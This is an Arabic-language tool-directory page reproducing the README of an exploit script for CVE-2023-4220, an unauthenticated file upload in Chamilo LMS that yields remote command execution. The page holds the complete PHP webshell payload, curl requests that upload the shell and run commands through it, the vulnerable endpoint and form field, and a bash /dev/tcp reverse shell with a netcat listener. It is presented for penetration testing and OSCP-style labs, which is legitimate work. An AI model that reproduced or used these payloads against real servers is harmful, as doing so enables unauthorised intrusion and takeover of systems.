Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ChamiloLMS-CVE-2023-4220 — CVE-2023-4220 — رفع ملف غير مصرح به يؤدي إلى تنفيذ أوامر عن بُعد في Chamilo LMS الإصدار 1.11.24 وما دونه. استغلال على نمط OSCP واستغلال تلقائي. | Kitploit
أدوات/GitHubGitHub/speatx/chamilolms-cve-2023-4220
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
speatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — رفع ملف غير مصرح به يؤدي إلى تنفيذ أوامر عن بُعد في Chamilo LMS الإصدار 1.11.24 وما دونه. استغلال على نمط OSCP واستغلال تلقائي.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

استغلال ثغرة CVE-2023-4220 في ChamiloLMS

نص بايثون لاستغلال CVE-2023-4220، وهي ثغرة رفع ملفات غير مصادق عليها تؤثر على Chamilo LMS <= 1.11.24.

تقع الثغرة في مكوّن BigUpload في Chamilo. في التثبيتات القابلة للاستغلال، يسمح معالج الرفع برفع ملف PHP دون التحقق المناسب. نظرًا لأن الملفات المرفوعة تُخزّن داخل دليل يمكن الوصول إليه عبر الويب، يمكن طلب ملف PHP المرفوع مباشرة واستخدامه كـ webshell إذا كان تنفيذ PHP ممكّنًا.

يحتوي هذا المستودع على نسختين من أداة الاستغلال:

root@kitploit:~
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

كلا النصين يرفعان webshell PHP، ويتحققان من تنفيذ الأوامر، ويسمحان بتشغيل الأوامر عبر معامل GET cmd. الفرق العملي الوحيد هو كيفية التعامل مع --shell.

الإصدار auto يبدأ المستمع الخاص به، ويُشغّل الـ reverse shell، ثم يتحول تلقائيًا إلى جلسة تفاعلية.

الإصدار oscp يُشغّل حمولة الـ reverse shell ولكنه لا يبدأ مستمعًا. يجب عليك بدء المستمع يدويًا قبل تشغيله.


التثبيت

استنساخ المستودع:

root@kitploit:~
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

تثبيت المتطلبات:

root@kitploit:~
python3 -m pip install -r requirements.txt

الاعتماد الخارجي الوحيد هو requests، لذا يمكن تثبيته يدويًا أيضًا:

root@kitploit:~
python3 -m pip install requests

الاستخدام

يتم تمرير الهدف باستخدام -u أو --url:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

نفس الخيارات متاحة في كلا النصين:

root@kitploit:~
-u, --url              رابط الهدف الأساسي
--check               التحقق مما إذا كان دليل ملفات BigUpload يمكن الوصول إليه
--upload              رفع الـ webshell والتحقق من تنفيذ الأوامر
--cmd CMD             تنفيذ أمر واحد عبر الـ webshell المرفوع
--shell LHOST LPORT   تشغيل reverse shell
--filename NAME       استخدام اسم مخصص لملف PHP المرفوع
--proxy PROXY         إرسال الحركة عبر وكيل، مثل Burp Suite
--timeout SECONDS     تعيين مهلة HTTP
--verify-tls          تفعيل التحقق من شهادة TLS
--cleanup             محاولة إزالة الـ webshell المرفوع بعد التنفيذ

الإصدار التلقائي يتضمن أيضًا:

root@kitploit:~
--listen-timeout SEC  الوقت المطلوب لانتظار اتصال الـ reverse shell

أمثلة أساسية

التحقق مما إذا كان مسار BigUpload المتوقع يمكن الوصول إليه:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

رفع الـ webshell PHP والتحقق من تنفيذ الأوامر:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

تنفيذ أمر واحد:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

استخدام اسم ملف مخصص:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

إرسال الحركة عبر Burp Suite:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

الأمثلة أعلاه تستخدم النص auto، ولكن يمكن استخدام نفس الصيغة مع chamilo_cve_2023_4220_oscp.py.


Reverse Shell

خيار --shell موجود في كلا النصين، لكنه يتصرف بشكل مختلف اعتمادًا على الإصدار المستخدم.

الإصدار التلقائي

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

هذا الإصدار يبدأ مستمعًا محليًا على 10.10.14.3:4444، ويرفع الـ webshell، ويُشغّل الـ reverse shell، ويفتح الجلسة التفاعلية تلقائيًا.

لا تحتاج لتشغيل nc يدويًا عند استخدام هذا الإصدار.

إصدار OSCP

ابدأ المستمع يدويًا أولاً:

root@kitploit:~
sudo nc -nlvp 4444

ثم قم بتشغيل أداة الاستغلال من طرفية أخرى:

root@kitploit:~
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

هذا الإصدار يُرسل فقط حمولة الـ reverse shell عبر الـ webshell المرفوع. يتم استقبال الاتصال بواسطة المستمع الذي بدأته يدويًا.

أمر الـ reverse shell الذي يُشغله كلا النصين يعادل:

root@kitploit:~
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

تأكد من أن قيمة LHOST يمكن الوصول إليها من الهدف. في بيئات VPN، عادةً ما يكون هذا هو عنوان واجهة النفق الخاصة بك:

root@kitploit:~
ip -brief addr show tun0

تفاصيل الثغرة

CVE-2023-4220 تؤثر على إصدارات Chamilo LMS حتى 1.11.24.

يقع معالج الرفع القابل للاستغلال في:

root@kitploit:~
/main/inc/lib/javascript/bigupload/inc/bigUpload.php

الإجراء الذي تستخدمه أداة الاستغلال هو:

root@kitploit:~
?action=post-unsupported

الملفات المرفوعة غالبًا ما يمكن الوصول إليها من:

root@kitploit:~
/main/inc/lib/javascript/bigupload/files/

ترسل أداة الاستغلال طلب POST من نوع multipart/form-data باستخدام حقل النموذج الذي يتوقعه BigUpload:

root@kitploit:~
bigUploadFile

حمولة PHP المرفوعة هي غلاف أوامر صغير:

root@kitploit:~
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

يتم تمرير الأوامر عبر معامل GET cmd:

root@kitploit:~
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

تُستخدم العلامات حول مخرجات الأمر لاستخراج الجزء ذي الصلة من استجابة HTTP.


الطلب اليدوي

الرفع الذي تقوم به النصوص يعادل:

root@kitploit:~
curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

بعد الرفع الناجح، يمكن اختبار تنفيذ الأمر باستخدام:

root@kitploit:~
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

ملاحظات

--check يتحقق فقط مما إذا كان دليل ملفات BigUpload المتوقع يمكن الوصول إليه. النتيجة الإيجابية لا تضمان أن الهدف قابل للاستغلال.

التحقق الكامل يتطلب رفع حمولة PHP وتأكيد تنفيذ الأمر باستخدام --upload أو --cmd.

إذا نجح الرفع ولكن فشل تنفيذ الأمر، فقد يكون تنفيذ PHP معطلاً في دليل الرفع، أو قد يكون الهدف مصححًا، أو قد تكون هناك قاعدة من جانب الخادم تمنع الطلب.

استخدم --cleanup إذا كنت تريد أن يحاول البرنامج النصي إزالة ملف PHP المرفوع بعد التنفيذ.

تنزيل الأداة